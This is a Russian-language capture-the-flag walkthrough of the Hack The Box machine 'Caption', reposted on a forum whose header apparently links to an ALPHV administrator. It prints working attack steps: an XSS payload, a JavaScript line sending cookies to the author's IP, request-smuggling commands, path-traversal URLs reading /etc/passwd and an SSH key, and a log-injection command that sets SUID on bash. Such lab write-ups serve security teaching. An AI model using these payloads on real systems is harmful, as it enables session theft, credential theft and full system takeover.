• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Эксплуатируем веб-уязвимости и атакуем приложение на Thrift

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,179
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня мы проэксплуатируем сложную цепочку уязвимостей в веб‑приложении. Через Web Cache Poisoning подгрузим собственный скрипт на JS и заюзаем XSS для кражи cookie администратора. Затем используем H2 Request Smuggling для получения доступа к CPR, где применим LFI, чтобы извлечь приватные данные. Повысим привилегии через инъекцию команд ОС в сервис логирования.
Наша цель — получение прав суперпользователя на машине Caption с учебной площадки Hack The Box. Уровень задания — сложный.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.33 caption.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди или Зарегистрируйся
Сканер нашел три открытых порта:

  • 22 — служба OpenSSH 8.9p1;
  • 80 — веб‑сервер Werkzeug Python 3.10;
  • 8080 — сервис GitBucket.
На первом сайте нас встречает форма авторизации, с которой мы пока ничего сделать не можем, а вот на GitBucket нам доступно два проекта.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся

Точка входа​

Изучаем первый проект Caption Portal.

Для просмотра ссылки Войди или Зарегистрируйся
В первую очередь нас интересует история коммитов.

Для просмотра ссылки Войди или Зарегистрируйся
Просматриваем каждый коммит отдельно и в коммите с описанием Update access control находим учетные данные пользователя margo.

Для просмотра ссылки Войди или Зарегистрируйся
С полученными учетными данными авторизуемся на сайте, работающем на 80-м порте.

Для просмотра ссылки Войди или Зарегистрируйся

Точка опоры​

Просматриваем страницы, указанные в меню сайта, и доходим до страницы /logs, доступ к которой ограничен правилами.

Для просмотра ссылки Войди или Зарегистрируйся

Просмотрим данные, которые возвращает сервер. Это можно сделать, например, через Burp Proxy.

Для просмотра ссылки Войди или Зарегистрируйся

Среди заголовков HTTP-ответа есть x-cache, который говорит нам о том, что на веб‑сервере используется кеш, а также заголовок via, из которого можно понять, что мы имеем дело с HTTP-прокси Varnish 6.6. Давай попробуем получить доступ к закрытой странице через h2csmuggler.

Справка: h2csmuggler​

Для просмотра ссылки Войди или Зарегистрируйся — это инструмент для исследования и эксплуатации уязвимостей, связанных с HTTP/2 и HTTP/1.1 (h2c) smuggling. Он используется для проверки на наличие уязвимостей, при которых злоумышленник может внедрить и скрыть вредоносные запросы внутри легитимного трафика HTTP/2. Затем эти запросы интерпретируются прокси‑сервером или бэкендом как допустимые запросы HTTP/1.1.
Инструмент работает за счет формирования специально сконструированных HTTP/2-запросов, которые при неправильной обработке приводят к атакам типа HTTP Request Smuggling. Это может дать возможность обойти механизмы аутентификации, исполнить несанкционированные запросы или украсть данные.
python3 h2csmuggler.py -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Im1hcmdvIiwiZXhwIjoxNzMxMDUxMDQ5fQ.ZQKvMsikxrrqocadq6_garWdQhfwb6m2E_7GZu7cfg0' -X GET -x http://caption.htb http://caption.htb/logs
Для просмотра ссылки Войди или Зарегистрируйся
Запрос к целевой странице был доставлен, а значит, уязвимость HTTP Request Smuggling присутствует.

Справка: HTTP Request Smuggling​

HTTP Request Smuggling — это вид веб‑атаки, при которой злоумышленник эксплуатирует несовместимость обработки HTTP-запросов между разными компонентами системы, например прокси‑сервером и сервером приложений. Атака осуществляется путем отправки специально сконструированных HTTP-запросов, которые интерпретируются по‑разному на каждом уровне обработки. Это может привести к тому, что скрытые запросы обрабатываются сервером как легитимные.
Последствия таких атак включают обход механизмов безопасности (например, брандмауэров или аутентификации), кражу сессий, внедрение вредоносного контента или выполнение несанкционированных операций. Уязвимость часто возникает из‑за неправильной обработки заголовков, таких как Content-Length и Transfer-Encoding, что используется для скрытия и разделения запросов.
Но так как доступа все равно нет, попробуем найти другой вектор. На странице Firewall Management есть сообщение, что админ активно следит за всеми проблемами.

Для просмотра ссылки Войди или Зарегистрируйся
Если просмотреть запросы в Burp History, можно увидеть еще один запрос к скрипту lib.js, которому в параметре utm_source передается адрес Для просмотра ссылки Войди или Зарегистрируйся.

Для просмотра ссылки Войди или Зарегистрируйся

Cache Poisoning​

Попробуем заставить сервер закешировать данные. Начнем проверку с популярного заголовка X-Forwarded-Host, в котором передадим случайные данные. В ответе сервера можно увидеть заголовок age, показывающий возраст кеша в секундах. Максимальное время жизни кеша передается в заголовке cache-control в параметре max-age.

Для просмотра ссылки Войди или Зарегистрируйся
Если запрос был закеширован, при переходе на страницу /firewalls в параметрах загружаемого скрипта можно увидеть адрес, переданный в заголовке X-Forwarded-Host.

Для просмотра ссылки Войди или Зарегистрируйся
Таким образом, мы можем контролировать некоторые данные, присутствующие в ответе сервера. А это путь к эксплуатации XSS-уязвимости.


XSS​

Наш адрес присутствует внутри тегов script и link. Давай попробуем закрыть эти теги и вставить свой script, который будет загружать файл с нашего сервера.

"><script src="Для просмотра ссылки Войди или Зарегистрируйся"></script><"
Чтобы отлавливать запрос, нам нужно запустить листенер:

nc -nlvp 8000
Затем переходим к Burp History, переносим запрос с заголовком X-Forwarded-Host в Burp Intruder и указываем в заголовке нашу нагрузку.

Для просмотра ссылки Войди или Зарегистрируйся
В качестве нагрузки устанавливаем Null payloads и отмечаем опцию Continue indefinitely, чтобы запросы производились до тех пор, пока мы не остановим Intruder.

Для просмотра ссылки Войди или Зарегистрируйся
Запускаем Intruder и спустя примерно минуту в окне листенера видим запрос.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Теперь изменим нагрузку так, чтобы она загружала конкретный JS-файл.

"><script src="http://10.10.16.31:8000/xss.js"></script><"
Запустим веб‑сервер:

python3 -m http.server
И создадим файл xss.js с нагрузкой, которая будет присылать cookie пользователя.

fetch("http://10.10.16.31:8000/"+document.cookie);
Повторяем трюк с Burp Intruder и получаем с удаленного сервера запросы, в которых переданы куки.

Для просмотра ссылки Войди или Зарегистрируйся

H2 Request Smuggling​

С полученным идентификатором сессии повторяем H2 Request Smuggling и получаем доступ к закрытой странице /logs.

python3 h2csmuggler.py -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzMxMDU3MjI1fQ._PhWOLmYyCvWIPW0q6WbgY7zz7hkGGMoRSLHf3yTeGg' -X GET -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/ssh_logs
Для просмотра ссылки Войди или Зарегистрируйся
В коде страницы находим ссылки на различные логи.

Для просмотра ссылки Войди или Зарегистрируйся
Попробуем получить файл ssh_logs.

Для просмотра ссылки Войди или Зарегистрируйся
Я также попробовал найти обход каталога и получить доступ к другим файлам в системе, но безрезультатно. Поэтому открываем страницу через браузер и видим какое‑то веб‑приложение.

Для просмотра ссылки Войди или Зарегистрируйся

CPR — обход каталога​

В исходном коде страницы можно найти ссылки на каталог .cpr. Попробуем определить, что за система используется, а потом поискать готовые эксплоиты для нее.

Для просмотра ссылки Войди или Зарегистрируйся
По первой же Для просмотра ссылки Войди или Зарегистрируйся из Google доступно описание уязвимости обхода каталога в Copyparty 1.8.2.

Для просмотра ссылки Войди или Зарегистрируйся
Так, из каталога .cpr можно получить содержимое любого файла, если кодировать слеши как %252. Попробуем прочитать файл /etc/passwd, для чего обратимся к такому URL:

http://127.0.0.1:3923/.cpr/%252Fetc%252Fpasswd
В командной строке выполняем

python3 h2csmuggler.py -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzMxMDY3OTEzfQ.mqLVWS80goKdTTW4UYvjdFAOH2FlATEgN4hpbJNw0ro' -X GET -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/.cpr/%252Fetc%252Fpasswd
Для просмотра ссылки Войди или Зарегистрируйся
Из файла узнаём, что в системе есть пользователь margo. Попробуем найти в домашнем каталоге этой учетной записи ключи SSH.

python3 h2csmuggler.py -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzMxMDY3OTEzfQ.mqLVWS80goKdTTW4UYvjdFAOH2FlATEgN4hpbJNw0ro' -X GET -x http://caption.htb http://caption.htb/download\?url\=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F.ssh%252Fid_ecdsa
Для просмотра ссылки Войди или Зарегистрируйся
Находим ключ, авторизуемся с ним от имени margo и получаем первый флаг.

Для просмотра ссылки Войди или Зарегистрируйся

Локальное повышение привилегий​

Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, но из важной можно отметить только список прослушиваемых локально портов. На хосте открыт порт 9090, который по умолчанию установлен в приложении из репозитория LogService.

Для просмотра ссылки Войди или Зарегистрируйся
В коде приложения LogService есть уязвимость, дающая возможность злоумышленнику внедрять команды ОС в пользовательский ввод (строки 42–43). Однако приложение написано на основе Thrift, и до этого блока кода нужно как‑то дотянуться.

Для просмотра ссылки Войди или Зарегистрируйся
Thrift — это кросс‑языковой фреймворк для разработки сетевых приложений. Он предоставляет средство для описания API приложений и автоматически генерирует код для реализации клиент‑серверного взаимодействия на разных языках программирования. Так как на удаленной машине работает сервер Thrift с методом ReadLogFile, нам нужно реализовать клиент Thrift, вызывающий этот метод и передающий в него путь к локальному файлу с логами.

Метод ReadLogFile парсит файл и подставляет данные в команду echo. В результате если файл будет содержать строку 127.0.0.1 "user-agent":"'; /bin/bash /tmp/privesc.sh #", то exec.Command выполнит цепочку команд, включая скрипт /tmp/privesc.sh.

Создадим на удаленной машине два файла: /tmp/expl.log и /tmp/privesc.sh, после чего дадим права на выполнение.

Код:
# /tmp/expl.log
127.0.0.1 "user-agent":"'; /bin/bash /tmp/privesc.sh #"

# /tmp/privesc.sh
chmod u+s /bin/bash

Перейдем к написанию клиента, для чего сначала установим Thrift.

Код:
sudo apt install thrift-compiler
pip install thrift
Теперь нужно подготовить определение сервиса LogService с методом ReadLogFile. Файл log_service.thrift должен иметь следующее содержимое:

Код:
namespace go log_service


service LogService {
  string ReadLogFile(1: string filePath)
}
Используя thrift-компилятор на основе log_service.thrift, сгенерируем код на Python.

Код:
thrift -r --gen py log_service.thrift
В текущей директории появится каталог gen-py, который будет содержать файлы с интерфейсами, типами данных, константами и прочей подобной информацией. Внутри gen-py напишем простенький клиент, который будет вызывать метод ReadLogFile и передавать путь к файлу /tmp/expl.log. С Thrift я работаю впервые, и следующий код сделан с помощью ChatGPT, поэтому оставлю все написанные им комментарии.

Код:
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
# Импортируем сгенерированный код
from gen_py.LogService import LogService


def main(log_file_path):
    # Создаем сокет и указываем адрес и порт сервера
    transport = TSocket.TSocket('127.0.0.1', 9090)


    # Устанавливаем буферированный транспорт
    transport = TTransport.TBufferedTransport(transport)


    # Используем бинарный протокол
    protocol = TBinaryProtocol.TBinaryProtocol(transport)


    # Создаем клиент для взаимодействия с сервисом LogService
    client = LogService.Client(protocol)


    # Открываем транспортное соединение
    transport.open()


    try:
        # Вызываем метод ReadLogFile на сервере
        client.ReadLogFile(log_file_path)
    except Thrift.TException as tx:
        print(f"Thrift exception: {tx.message}")


    transport.close()


# Пример использования:
log_file_path = '/tmp/expl.log'
main(log_file_path)

Так как порт на сервере прослушивается только для 127.0.0.1, нужно будет прокинуть его на свой хост с помощью SSH.

Код:
ssh -i id_ecdsa margo@caption.htb -L 9090:127.0.0.1:9090
После выполнения этой команды весь трафик, который мы пошлем на локальный порт 9090, будет туннелирован на порт 9090 указанного хоста (в данном случае 127.0.0.1) через SSH-хост.

Теперь запускаем наш код и проверяем права файла /bin/bash.

Для просмотра ссылки Войди или Зарегистрируйся
Скрипт /tmp/privesc.sh отработал, и файл командной оболочки получил S-бит.

Справка: бит SUID​

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Таким образом, мы можем запустить bash в контексте root.

Для просмотра ссылки Войди или Зарегистрируйся
Машина захвачена!
 
Activity
So far there's no one here